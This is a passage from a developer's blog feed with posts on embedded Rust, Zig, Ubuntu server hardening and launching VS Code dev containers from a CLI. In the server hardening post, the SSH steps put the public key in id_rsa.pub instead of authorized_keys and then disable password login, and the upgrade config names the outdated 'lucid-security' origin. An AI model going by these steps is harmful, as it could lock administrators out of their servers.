<p>So are we done? Not quite! There is another requirement I didn't tell you about: On the website, we need to be able to display if the device is already configured. We also want to show the current version, state and some other stuff. We could just make a request from our frontend back to the backend and ask for that information. But this would require a second API endpoint which builds some JSON response with all that data. This would increase our code complexity, and we would have to handle a bunch of new error cases (remember, everything is way harder on embedded). Also, it's a bit weird: We just sent the whole website with all its resources, why can't we send this data along with it? Because the body was compressed and inserted during compile time!</p>
<p>So, what are our options besides that nasty second request? We cannot look for some byte markers and modify the bytes directly since it's already compressed - and it would be horrible to maintain. In our HTTP response, the body is compressed, but remember what such a response looks like:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1708463911585/ada04021-7864-48e0-80fb-ea9f229bd25b.png" alt class="image--center mx-auto" /></p>
<p>We still have the headers we can use to pass information to the clients. Headers are not compressed and allow us to send arbitrary key-value pairs to the client. However, you cannot access them from the body (HTML/JavaScript) to actually display them (probably due to some security concerns)! Or can you?!</p>
<p>Let me present to you: The <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing">server-timing header</a>! This header allows the server to pass some performance metrics to the client - which can read its values through the browser's JavaScript API. The values can be set like this: <code>server-timing: key1;desc="value1", key2;desc="value2"</code>. We can then simply use <code>window.performance.getEntriesByType('navigation')</code> to read those values. Easy!</p>
<p>Buuut, Safari does not support this yet. So as neat as this sounds - we can't use it. However, there is yet another header type we can (ab)use in a similar way. Cookies! Cookies are meant to store information about the user across browser sessions. They are set by headers and can be read out with JavaScript (or TypeScript in our case). However, they behave a bit differently than the server-timing header, because they are persistent. So in order to use them, we set a really low expiry date and delete them right after reading them.</p>
<p>And with that, we have a neat little frontend which we can use to configure our systems. If you haven't yet read the first part of this article, <a target="_blank" href="https://blog.lohr.dev/embedded-rust">go over here</a> to learn more about why we chose Rust in the first place.</p>
]]></content:encoded></item><item><title><![CDATA[Embedded Rust in Production ..?]]></title><description><![CDATA[When I mention that we use Rust on the embedded ESP32 platform the most common reaction is a jaw-dropping "This is possible?!". Yes, it is indeed possible! - And we at STABL Energy have used it successfully for over a year now. And because so many pe...]]></description><link>https://blog.lohr.dev/embedded-rust</link><guid isPermaLink="true">https://blog.lohr.dev/embedded-rust</guid><category><![CDATA[Rust]]></category><category><![CDATA[embedded]]></category><category><![CDATA[ESP32]]></category><category><![CDATA[renewable-energy]]></category><category><![CDATA[Startups]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 04 Feb 2024 14:00:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1706803912257/7eb43c5c-fb64-402c-b6a2-6674c3ae8ef4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When I mention that we use Rust on the embedded ESP32 platform the most common reaction is a jaw-dropping "This is possible?!". Yes, it is indeed possible! - And we at STABL Energy have used it successfully for over a year now. And because so many people seem interested in why we use Rust and how it is going for us, I decided to write this blog post.</p>
<blockquote>
<p>"Thanks to its direct access to both hardware and memory, Rust is well suited for embedded systems and bare-metal development." - <a target="_blank" href="https://github.blog/2023-08-30-why-rust-is-the-most-admired-language-among-developers/">GitHub</a></p>
</blockquote>
<p>It all started in 2022, with me getting annoyed by our C implementation of a small piece of software running on an ESP32 (a microcontroller with built-in internet connectivity). The purpose of the software was to read messages via UART (serial interface/protocol, often used to communicate between embedded devices) and send them to some cloud services via MQTT (messaging protocol, often used to communicate between IoT devices). Seems simple enough, right? Well, we had some additional requirements in terms of reliability, regarding the layout of the resulting JSON MQTT messages and concerning the content of the UART messages which is rather difficult to parse.</p>
<p>To give you some more context: I work for a startup named <a target="_blank" href="https://stabl.com/?ref=ml-blog">STABL Energy</a> where we build revolutionary energy storage systems, that are based on second-life batteries (batteries that were used in electric cars before). Instead of recycling them just now, we can use those perfectly fine batteries to (for example) back large PV farms and prolong their lives just a little bit more. The device I was talking about before is used to connect our battery storage systems to the cloud for monitoring and remote control. We also use it during development, to test new features in our system - so it really needs to be reliable, because we don't want to lose any data.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706812711815/53a4d26a-2e21-486c-b052-245e017cd584.png" alt class="image--center mx-auto" /></p>
<p>Our C implementation was a small (very prototype) software running on the <a target="_blank" href="https://www.espressif.com/en/products/socs/esp32">ESP32</a> platform. It had some serious runtime issues, preventing it from working reliably, that were hard to debug. And debugging on embedded is a lot more complicated than debugging software targeting desktop architectures. I have much respect for C (and even more for people programming in C), but I think its era is coming to an end. As I wrote in <a target="_blank" href="https://blog.lohr.dev/after-a-day-of-programming-in-zig">a previous blog post</a>, Zig could be a quite good modern replacement in the future. But Zig is rather new and at the time we worked with the C implementation, I didn't even know that Zig existed. However, I did a lot with Rust in personal projects at that time. The developer experience in Rust is just on the next level and the software you write is reliable without giving reliability, memory allocation etc. too much thought in the first place.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706813402492/571c6001-33b8-4c77-a2d8-ec6cc95bd21c.webp" alt class="image--center mx-auto" /></p>
<p>At STABL Energy, we didn't use any Rust before. We mainly used C for embedded and Python for anything else. But since I got to lead this project and had a great time with Rust, we ended up writing a prototype using <a target="_blank" href="https://esp-rs.github.io/book/overview/using-the-standard-library.html">ESP IDF</a>, which even allowed us to use the Rust standard library. Long story short: Our Rust prototype ended up much more reliable than the C implementation. We spent a little bit more time writing the software (Rust takes longer to write than C) to achieve the same functionality but spent basically zero time debugging (since there weren't that many bugs) - so we stuck with it. At that time the Rust support from Espressif (the company behind the ESP32) was rather new and experimental (and it still is), but it kept improving and we noticed quite the investment from Espressif in terms of work spent working on Rust support for their platform.</p>
<p>Fast forward to 2024: We now used the ESP32 with our custom software written in Rust for over a year in production, with great success. The devices transmit data 24/7 and we have no known bugs (I don't even remember the last bug we had). There is just one problem: Who maintains and further develops this project? While there are some pretty passionate Rust developers (&amp; consultancies) out there (even in Germany) and even more that would be willing to learn Rust, it is not viable to hire one sole Rust developer for this (small) project. Since Rust, and especially embedded Rust (lots of FFI &amp; unsafe), is quite hard to learn, it is not viable (for us) to retrain a C developer to Rust. Luckily we <a target="_blank" href="https://github.com/Shemnei/">found a Rust developer</a> who was willing to learn C as well.</p>
<p>So what's the state of embedded Rust outside of our small project? Dion, from Tweedegolf, recently published <a target="_blank" href="https://tweedegolf.nl/en/blog/101/are-we-embedded-yet">a great article</a> about the current state: He says that what works and does not work heavily depends on the specific use case and willingness to build the missing pieces yourself or rely on open-source software. There are still some rough edges, as visualised in his infographic, but overall Rust is a viable programming language choice for embedded projects.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1706813382842/c04013ce-7a07-4e46-9bec-71c8d45b3ad7.png" alt="The state of embedded Rust by https://tweedegolf.nl/en/blog/101/are-we-embedded-yet" class="image--center mx-auto" /></p>
<p>If, in the future, I were faced with a choice between C and Rust for embedded development again, I would most likely choose Rust because of how successfully we used it in the past. Let me know if you heard about some similar projects - I am always excited to hear about embedded Rust!</p>
]]></content:encoded></item><item><title><![CDATA[After a day of programming in Zig]]></title><description><![CDATA[I am a big fan of Rust since it provides great tooling and allows me to write code with lots of confidence that it will work reliably. But sometimes I hate it, too. It takes more time to write code in Rust and some things are pretty difficult to prop...]]></description><link>https://blog.lohr.dev/after-a-day-of-programming-in-zig</link><guid isPermaLink="true">https://blog.lohr.dev/after-a-day-of-programming-in-zig</guid><category><![CDATA[zig]]></category><category><![CDATA[Rust]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[software development]]></category><category><![CDATA[low level programming]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 29 Dec 2023 16:15:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703857934965/ce29eda3-ad17-424d-83c4-2565b2e0e8cd.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am a big fan of Rust since it provides great tooling and allows me to write code with lots of confidence that it will work reliably. But sometimes I hate it, too. It takes more time to write code in Rust and some things are pretty difficult to properly implement (looking at you <code>async</code>).</p>
<p>In the last year, I heard a couple of times about a new low-level programming language called Zig. And now I finally found the time to try it out. In this article, I want to talk about the things I liked and disliked about Zig from the perspective of a Rust developer (and the high standards they are used to 🦀👑).</p>
<h1 id="heading-so-what-is-zig">So what is Zig?</h1>
<p><a target="_blank" href="https://ziglang.org/">Zig</a> describes itself as "... a general-purpose programming language and toolchain for maintaining <strong>robust</strong>, <strong>optimal</strong> and <strong>reusable</strong> software.". Sounds very generic, eh?</p>
<p>The "unique selling points" are:</p>
<ul>
<li><p>No hidden control flow; you control everything</p>
</li>
<li><p>No hidden memory allocation; they are all explicit and allow to use different allocation strategies</p>
</li>
<li><p>No preprocessor, no macros; directly write compile time code in Zig instead</p>
</li>
<li><p>Great interoperability with C/C++; supports cross-compilation; can be used as a drop-in replacement for C.</p>
</li>
</ul>
<p>Zig is a bit similar to Rust since both focus on performance and safety. They don't use garbage collection, use LLVM as the compiler backend, and provide code testing capabilities. Both use a modern syntax and offer programming features like error handling and options.</p>
<pre><code class="lang-rust"><span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);

<span class="hljs-comment">/// Removes the specified prefix from the given string if it starts with it.</span>
<span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">removePrefix</span></span>(input: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>, prefix: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span> {
    <span class="hljs-keyword">if</span> (std.mem.startsWith(<span class="hljs-built_in">u8</span>, input, prefix)) {
        <span class="hljs-keyword">return</span> input[prefix.len..];
    }
    <span class="hljs-keyword">return</span> input;
}
</code></pre>
<p>Even though it simplifies a lot, I like to say that Zig is to C what Rust to C++ is. Others say, that Zig is the modern successor of C. As a rule of thumb, it probably makes sense to use Zig in projects where you would have used C before.</p>
<h1 id="heading-is-it-good">Is it good?</h1>
<p>I usually learn new programming languages by simply writing some simple programs from start to finish. In this case, my goal was to write a <a target="_blank" href="https://en.wikipedia.org/wiki/Telnet">telnet</a> client (an old network protocol for remote access to terminals). This was quite a journey since telnet is a lot more complex than it seems. But this deserves an article on its own.</p>
<p>It actually took me more than one day to implement this project, but after a full day of working on it, I had the feeling that I understood the basics of Zig. You can find the source code here: <a target="_blank" href="https://github.com/michidk/telnet-zig/">https://github.com/michidk/telnet-zig/</a></p>
<h2 id="heading-what-i-dislike-about-zig">What I dislike about Zig</h2>
<p>The barrier of liking Zig is not too high, since I really dislike programming in C. So let's first discuss the things I disliked:</p>
<p>The Zig community and ecosystem are rather small, and not many libraries are available. Those that are available are also not very fleshed out yet. This is very different for Rust, where you can find at least one very popular and well-implemented crate for each problem which you might want to outsource to a library.</p>
<p>Zig comes with a standard library that is similarly minimalistic like the Rust standard library. It is yet rather small but carefully designed. The documentation is not very good and many methods are undocumented.</p>
<p>Undocumented code from <code>std.io.Writer</code> (<a target="_blank" href="https://ziglang.org/documentation/master/std/#A;std:io.Writer">https://ziglang.org/documentation/master/std/#A;std:io.Writer</a>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703859930628/3f3d6a92-c538-4fe6-8a7b-f4428cccd30c.png" alt class="image--center mx-auto" /></p>
<p>There is no proper pattern matching in Zig. However, <code>switch</code> statements are quite powerful and when nesting them it is possible to achieve something similar, like one can do with Rust's <code>match</code> statement.</p>
<p>In Rust, traits (or interfaces in other languages) allow for polymorphism - the ability to write code that can operate on objects of different types. This is a powerful feature for designing flexible and reusable software components. Zig, however, lacks this feature. It relies on other mechanisms like function pointers or comptime polymorphism, which can be less intuitive and more cumbersome for scenarios typically handled by interfaces or traits.</p>
<p>But to be honest, I wouldn't have expected otherwise, since Zig is rather young and only recently gained in popularity.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1703860149164/a7ccaa1e-0799-49eb-8365-79b89e908679.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-why-i-love-zig">Why I love Zig</h2>
<h3 id="heading-tooling-build-system-amp-tests">Tooling, Build System &amp; Tests</h3>
<p>Even though the language is rather young, the tooling is great! However is not as advanced as the Rust tooling with <code>cargo</code> and <code>clippy</code> (yet). Only the most recent version <code>v0.11</code> delivered us an official package manager, called <a target="_blank" href="https://zig.news/edyu/zig-package-manager-wtf-is-zon-558e">Zon</a>. It can be used together with the <code>build.zig</code> file (which is similar to a <code>build.rs</code> in Rust) to load libraries from GitHub into our project without much hassle (I don't even want to know how much valuable lifetime <code>cmake</code> and <code>make</code> have cost me in the past).</p>
<pre><code class="lang-bash">$ zig build-exe hello.zig
$ ./hello
Hello, world!
</code></pre>
<p>Similarly to Rust, Zig comes with robust testing capabilities built into the language. Tests in Zig are written in special functions, allowing them to reside alongside the code they are validating. Unique to Zig is the ability to leverage its compile-time evaluation features in tests. Additionally, Zig's support for cross-compilation in testing is particularly noteworthy, enabling developers to effortlessly test their code across various target architectures. <a target="_blank" href="https://mtlynch.io/notes/zig-unit-test-c/">Some people</a> even use Zig to test their C code!</p>
<pre><code class="lang-rust"><span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);
<span class="hljs-keyword">const</span> parseInt = std.fmt.parseInt;

<span class="hljs-comment">// Unit testing</span>
test <span class="hljs-string">"parse integers"</span> {
    <span class="hljs-keyword">const</span> ally = std.testing.allocator;

    var list = std.ArrayList(<span class="hljs-built_in">u32</span>).init(ally);
    defer list.deinit();
...
</code></pre>
<h3 id="heading-the-language">The Language</h3>
<p>The language itself is well-designed and the syntax is quite similar to Rust. Both have a type system that emphasizes strong, static typing, though the way they handle types and type inference differs.</p>
<h3 id="heading-error-handling-and-optionals">Error Handling and Optionals</h3>
<p>Zig and Rust both promote explicit error handling, however their mechanisms are different. Rust uses <code>Result</code> enums, while Zig uses a (global) error set type (though similar to an enum) and error propagation. Similarly, Rust uses the <code>Option</code> enum for optional types, while Zig uses a type modifier (<code>?T</code>). Both offer modern, syntactic sugar to handle those (<code>call()?</code> and <code>if let Some(value) = optional {}</code> in Rust, <code>try call()</code> and <code>if (optional) |value| {}</code> in Zig). Since Rust uses the standard library to implement error handling and options, users have the possibility to extend those systems which is quite powerful. However, I like the approach Zig takes in providing those things as language features. While their approach fits well into the C universe, I dislike that there is no pragmatic way to add more context to an error (but well, no allocations). Libraries like <a target="_blank" href="https://github.com/Hejsil/zig-clap">clap</a> solve this by implementing a diagnostics mechanism.</p>
<pre><code class="lang-rust"><span class="hljs-comment">// Hello World in Zig</span>
<span class="hljs-keyword">const</span> std = @import(<span class="hljs-string">"std"</span>);

<span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() anyerror!void {
    <span class="hljs-keyword">const</span> stdout = std.io.getStdOut().writer();
    <span class="hljs-keyword">try</span> stdout.print(<span class="hljs-string">"Hello, {s}!\n"</span>, .{<span class="hljs-string">"world"</span>});
}
</code></pre>
<h3 id="heading-c-interop">C Interop</h3>
<p>The C interoperability in Zig is world-class. You don't need to write bindings, with Zig you can just use the <code>@cImport</code> and <code>@cInclude</code> built-in functions (which parses C header files) to directly use C code.</p>
<h3 id="heading-comptime">Comptime</h3>
<p>Zig allows us to write Zig code (no special macro syntax like in Rust), which is evaluated during compile time using the <code>comptime</code> keyword. This can help to optimize the code and allows for reflection on types. However, dynamic memory allocations are not allowed during compile time.</p>
<h3 id="heading-types">Types</h3>
<p>Like in Rust, Zig types are zero-cost abstractions. There are Primitive Types, Arrays, Pointers, Structs (similar to C structs, but can include methods), Enums and Unions. Custom types are implemented through structs and generics are implemented by generating parameterized structs during compile time.</p>
<pre><code class="lang-rust"><span class="hljs-comment">// std.io.Writer is a compile-time function which returns a (generic) struct</span>
<span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">Writer</span></span>(
    comptime Context: <span class="hljs-class"><span class="hljs-keyword">type</span>,
    <span class="hljs-title">comptime</span></span> WriteError: <span class="hljs-class"><span class="hljs-keyword">type</span>,
    <span class="hljs-title">comptime</span></span> writeFn: <span class="hljs-function"><span class="hljs-keyword">fn</span> </span>(context: Context, bytes: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) WriteError!<span class="hljs-built_in">usize</span>,
) <span class="hljs-class"><span class="hljs-keyword">type</span> {
    <span class="hljs-title">return</span></span> <span class="hljs-class"><span class="hljs-keyword">struct</span> {</span>
        context: Context,

        <span class="hljs-keyword">const</span> <span class="hljs-keyword">Self</span> = @This();
        <span class="hljs-keyword">pub</span> <span class="hljs-keyword">const</span> Error = WriteError;

        <span class="hljs-keyword">pub</span> <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">write</span></span>(<span class="hljs-keyword">self</span>: <span class="hljs-keyword">Self</span>, bytes: []<span class="hljs-keyword">const</span> <span class="hljs-built_in">u8</span>) Error!<span class="hljs-built_in">usize</span> {
            <span class="hljs-keyword">return</span> writeFn(<span class="hljs-keyword">self</span>.context, bytes);
        }
...
</code></pre>
<h3 id="heading-memory-allocation">Memory Allocation</h3>
<p>Unlike Rust, which employs an automatic borrow-checker to manage memory, Zig opts for manual memory management. This design decision aligns with Zig's philosophy of giving the programmer full control, reducing hidden behaviors and overhead.</p>
<p>At the core of Zig's memory management strategy is the <code>Allocator</code> interface. This interface allows developers to dictate precisely how memory is allocated and deallocated. Developers can choose from <a target="_blank" href="https://ziglang.org/documentation/0.5.0/#Choosing-an-Allocator">several allocators</a> or implement custom ones tailored to specific needs or optimization goals.</p>
<p>This is great but can be a bit annoying in practice. The allocator is typically created at the beginning of the application code and assigned to a variable. Methods which want to allocate memory, require the allocator as a parameter in their function signature. This makes allocations very visible but also can get a bit annoying because it has to be passed around through multiple functions throughout the whole application (at least to the parts where you allocated memory).</p>
<h3 id="heading-cross-compilation">Cross Compilation</h3>
<p>Zig, like Rust, has native support for cross-compilation. Its integrated toolchain simplifies compiling for different architectures or operating systems. Setting the target architecture in Zig is as straightforward as passing an argument in the build command:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Build for Windows on Linux</span>
zig build -Dtarget=x86_64-windows-gnu
</code></pre>
<p>In contrast, Rust requires the installation of the target platform's toolchain through <code>rustup</code> and often necessitates manual linker configuration for the target platform.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>I find Zig to be a well-designed, fun, and powerful language. It can be challenging to use because of the small ecosystem and the lack of documentation, which most likely will improve soon with increasing popularity. Zig provides modern syntax, a great type system, complete control over memory allocations and state-of-the-art language features.</p>
<p>Overall, I enjoyed programming in Zig and I think it has a lot of potential to become a popular choice for low-level development. Personally, I think Zig could be a real game changer for embedded systems (in a few years) and I am quite excited to see what the future holds for Zig.</p>
<p>I encourage you to give Zig a try⚡.</p>
]]></content:encoded></item><item><title><![CDATA[The first 5 minutes on a Linux Server]]></title><description><![CDATA[When deploying a new Linux server, I always perform the same steps to introduce a basic level of security. In this article, I present those steps I take (and you probably should take them too) on a new server installation. Even though those steps pro...]]></description><link>https://blog.lohr.dev/the-first-5-minutes-on-linux</link><guid isPermaLink="true">https://blog.lohr.dev/the-first-5-minutes-on-linux</guid><category><![CDATA[Linux]]></category><category><![CDATA[Ubuntu]]></category><category><![CDATA[server]]></category><category><![CDATA[software development]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Mon, 11 Dec 2023 23:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1703801132159/e567ba48-8a0b-49a9-9d1e-53366adfe6f9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When deploying a new Linux server, I always perform the same steps to introduce a basic level of security. In this article, I present those steps I take (and you probably should take them too) on a new server installation. Even though those steps probably apply to most Linux distributions, I mainly use Ubuntu for my servers nowadays. So before listing the specific steps, I quickly explain why I mostly use a minimal Ubuntu image.</p>
<h2 id="heading-why-ubuntu">Why Ubuntu?</h2>
<p>Ubuntu has rapidly become one of the most popular choices for server environments. This preference stems from Ubuntu's stability, ease of use, and robust support.</p>
<ol>
<li><p><strong>Long-Term Support (LTS) Releases:</strong> Ubuntu's Long-Term Support versions, released every two years, are a cornerstone of its reliability. These LTS releases are supported with updates for five years, ensuring stability and security without the need for frequent major upgrades. This long-term support is crucial for servers, where uptime and stability are paramount.</p>
</li>
<li><p><strong>Widespread Community:</strong> With its growing popularity, Ubuntu has amassed a large and active community. This community provides extensive resources, forums, and documentation, aiding in troubleshooting and knowledge sharing.</p>
</li>
<li><p><strong>User-Friendly Yet Powerful:</strong> Ubuntu strikes a balance between user-friendliness and advanced capabilities. Its package management system (APT) and extensive repositories make software installation and management a breeze. Ubuntu also maintains compatibility with a wide range of hardware, ensuring flexibility in server deployment.</p>
</li>
<li><p><strong>Robust Security Features:</strong> Ubuntu is known for its strong security measures. Features like AppArmor, a mandatory access control framework, and regular security updates provide robust protection against vulnerabilities. The inclusion of fail2ban and unattended upgrades in server setups further fortifies its security posture.</p>
</li>
</ol>
<h2 id="heading-initial-software-installation">Initial Software Installation</h2>
<p>Upon logging into your fresh Ubuntu server, the first step is to elevate to superuser status with <code>sudo -i</code>, providing full administrative rights. This is necessary for installing and configuring various essential packages.</p>
<pre><code class="lang-bash">apt update &amp;&amp; apt upgrade -y
apt install -y fail2ban htop git curl wget gnupg lsb-release unattended-upgrades apt-transport-https ca-certificates locales nano vim
</code></pre>
<h3 id="heading-why-these-packages">Why These Packages?</h3>
<ul>
<li><p><code>fail2ban</code>: Protects against brute-force attacks.</p>
</li>
<li><p><code>htop</code>: Offers an interactive process viewer (better than <code>top</code>).</p>
</li>
<li><p><code>git</code><strong>,</strong> <code>curl</code><strong>,</strong> <code>wget</code><strong>,</strong> <code>gnupg</code>: Essential tools for downloading and verifying files.</p>
</li>
<li><p><code>lsb-release</code><strong>,</strong> <code>apt-transport-https</code><strong>,</strong> <code>ca-certificates</code>: Tools required for secure software installation.</p>
</li>
<li><p><code>locales</code>: Supports system language preferences.</p>
</li>
<li><p><code>nano</code><strong>,</strong> <code>vim</code>: Provides text editors for configuration.</p>
</li>
</ul>
<p>Most other basic software like <code>cat</code> is preinstalled on Ubuntu (sometimes <code>curl</code> &amp; <code>wget</code> are as well, but that depends on the image you used).</p>
<h2 id="heading-initial-configuration">Initial Configuration</h2>
<p>Configuring the locale is vital for consistency in language and character encoding across the system. It ensures that your server interacts correctly with software and services. Edit <code>sudo nano /etc/locale.gen</code> and uncomment the language you need.</p>
<pre><code class="lang-bash">locale-gen
<span class="hljs-built_in">echo</span> -e <span class="hljs-string">'LANG="en_US.UTF-8"\nLANGUAGE="en_US:en"\n'</span> &gt; /etc/default/locale
</code></pre>
<h3 id="heading-hostname-and-hosts-file">Hostname and Hosts File</h3>
<p>Setting a descriptive hostname improves the manageability of your server, especially in a network of multiple machines.</p>
<pre><code class="lang-bash">sh -c <span class="hljs-string">'echo "
127.0.1.1          &lt;domain&gt; &lt;alias&gt;
&lt;YOUR IP&gt;          &lt;domain&gt; &lt;alias&gt;
" &gt;&gt; /etc/hosts'</span>
sudo hostnamectl set-hostname &lt;domain&gt;
sudo hostnamectl set-hostname <span class="hljs-string">"&lt;alias&gt;"</span> --pretty
</code></pre>
<p>For <code>&lt;domain&gt;</code> I would use something like <em>node1.example.com</em> and for <code>&lt;alias&gt;</code> <em>node1</em>.</p>
<h3 id="heading-secure-log-in">Secure Log In</h3>
<p>Creating a non-root user with sudo privileges enhances security by limiting root access.</p>
<pre><code class="lang-bash">useradd &lt;username&gt;
usermod -aG sudo &lt;username&gt;
</code></pre>
<p>Set up SSH keys for secure, password-less login. Setup the <code>.ssh/</code> folder and upload your public key.</p>
<pre><code class="lang-bash">mkdir -p /home/&lt;username&gt;/.ssh
chmod 700 /home/&lt;username&gt;/.ssh
chmod 400 /home/&lt;username&gt;/.ssh/authorized_keys
chown &lt;username&gt;:&lt;username&gt; /home/&lt;username&gt; -R
<span class="hljs-comment"># then put your public ssh key into /home/&lt;username&gt;/.ssh/id_rsa.pub</span>
</code></pre>
<p>Modifying the SSH configuration (<code>/etc/ssh/sshd_config</code>) to disable root login and password authentication significantly reduces the server's vulnerability to unauthorized access.</p>
<pre><code class="lang-bash">PermitRootLogin no
PasswordAuthentication no
</code></pre>
<p>Then run <code>service ssh restart</code>.</p>
<h3 id="heading-automatic-security-updates">Automatic Security Updates</h3>
<p>Configuring unattended-upgrades ensures that your server stays up to date with the latest security patches, reducing the risk of vulnerabilities.</p>
<p><code>/etc/apt/apt.conf.d/20auto-upgrades</code>:</p>
<pre><code class="lang-bash">APT::Periodic::Update-Package-Lists <span class="hljs-string">"1"</span>;
APT::Periodic::Unattended-Upgrade <span class="hljs-string">"1"</span>;
APT::Periodic::Download-Upgradeable-Packages <span class="hljs-string">"1"</span>;
APT::Periodic::AutocleanInterval <span class="hljs-string">"7"</span>;
</code></pre>
<p>Limiting automatic upgrades to security updates prevents unexpected changes in system behaviour due to non-critical updates.</p>
<p><code>/etc/apt/apt.conf.d/50unattended-upgrades</code>:</p>
<pre><code class="lang-bash">Unattended-Upgrade::Allowed-Origins {
        <span class="hljs-string">"Ubuntu lucid-security"</span>;
};
</code></pre>
<h2 id="heading-a-solid-start">A Solid Start</h2>
<p>The steps outlined provide a basic foundation for any Ubuntu server. There is a LOT more you can and should do to make your server more secure. But those are the absolute basics I always do before anything else!</p>
]]></content:encoded></item><item><title><![CDATA[Reverse engineering Microsoft's dev container CLI]]></title><description><![CDATA[Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!

... is how I introduced the concept of dev containers in my last article.
I also mentioned that I have been working on a small u...]]></description><link>https://blog.lohr.dev/launching-dev-containers</link><guid isPermaLink="true">https://blog.lohr.dev/launching-dev-containers</guid><category><![CDATA[vscode]]></category><category><![CDATA[devcontainer]]></category><category><![CDATA[cli]]></category><category><![CDATA[TUI]]></category><category><![CDATA[JavaScript]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 15 Nov 2023 12:00:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/z1c9juteR5c/upload/956243232a66a8682677d047630cbe00.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Dev containers allow you to open up projects and have them running in a fully pre-configured environment with one click!</p>
</blockquote>
<p>... is how I introduced the concept of <a target="_blank" href="https://containers.dev/">dev containers</a> in <a target="_blank" href="https://blog.lohr.dev/dev-containers">my last article</a>.</p>
<p>I also mentioned that I have been working on a <a target="_blank" href="https://github.com/michidk/vscli">small utility named vscli,</a> which enables you to launch Visual Studio Code (vscode) from the command line (CLI) or a terminal user interface (TUI) like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1707646262050/32fbc607-d3cf-4b39-891f-98dfa8c37435.png" alt class="image--center mx-auto" /></p>
<p>Now this does not look very complicated, right? The cool thing is (and actually the main problem I want to solve with this tool), that it can also open devcontainers. So if it detects that the folder you are trying to open, with e.g. <code>vscli dev/myproject</code>, contains a dev container configuration file, it will open it in a vscode dev container instead.</p>
<p>Now, you might think it is as easy as calling a command like <code>code dev/myproject --devcontainer</code> behind the scenes. You couldn't be more wrong!</p>
<p>Before explaining how this actually works, I want to let you know that it will get a lot weirder when we try to add support for a new dev container feature later.</p>
<h1 id="heading-how-everyone-does-it">How everyone does it</h1>
<p>This is not a problem that hasn't been solved before. Lots of people want to start their dev containers right from the CLI, without navigating menus in vscode. So if you look through various bash scripts and some issues on GitHub, you will find that most people solve this by executing the following command:</p>
<pre><code class="lang-bash">code --folder-uri vscode-remote://dev-container+&lt;some_weird_hex_string&gt;&lt;a_path&gt;
</code></pre>
<p>Which then could look like this:</p>
<pre><code class="lang-bash">code --folder-uri <span class="hljs-string">"vscode-remote://dev-container+5c5c77736c2e6c6f63616c686f73745c417263685c686f6d655c6d696368695c6465765c7673636c69/workspaces/vscli</span>
</code></pre>
<p>The last part (<code>/workspaces/vscli</code> in this case) is the path we want vscode to open inside the container. It is <code>/workspaces/project_folder_name</code> by default, but it can be overwritten inside the dev container configuration file.</p>
<p>The hex value is the path on the host, encoded in hex. Decoded could look like this (when the dev container was launched from <a target="_blank" href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a>):</p>
<pre><code class="lang-bash">\\wsl.localhost\Arch\home\michi\dev\vscli
</code></pre>
<p>Note: We used <a target="_blank" href="https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux">WSL</a> here, so most paths will be WSL paths. However, it works quite similarly on Windows.</p>
<h2 id="heading-how-did-we-figure-that-out">How did we figure that out?</h2>
<p>Well, I got the hint from <a target="_blank" href="https://github.com/devcontainers/cli/issues/30">this GitHub issue</a>. Also, it seems like at one time a <code>devcontainer open</code> command existed in <a target="_blank" href="https://www.npmjs.com/package/@vscode/dev-container-cli">the old dev container CLI</a> (it does not exist anymore since the CLI wants to be editor-agnostic).</p>
<p>There is also another version of the dev container CLI, which is included in the proprietary vscode dev container extension. This version actually includes the <code>devcontainer open</code> utility, but we only have access to the minified JavaScript code.</p>
<p>So if this problem is already solved, why implement our own CLI tool? Well, there are multiple reasons: closed-source, sending telemetry by default, and cannot be installed with a proper packet manager.</p>
<h1 id="heading-but-we-want-multiple-containers">But we want multiple containers</h1>
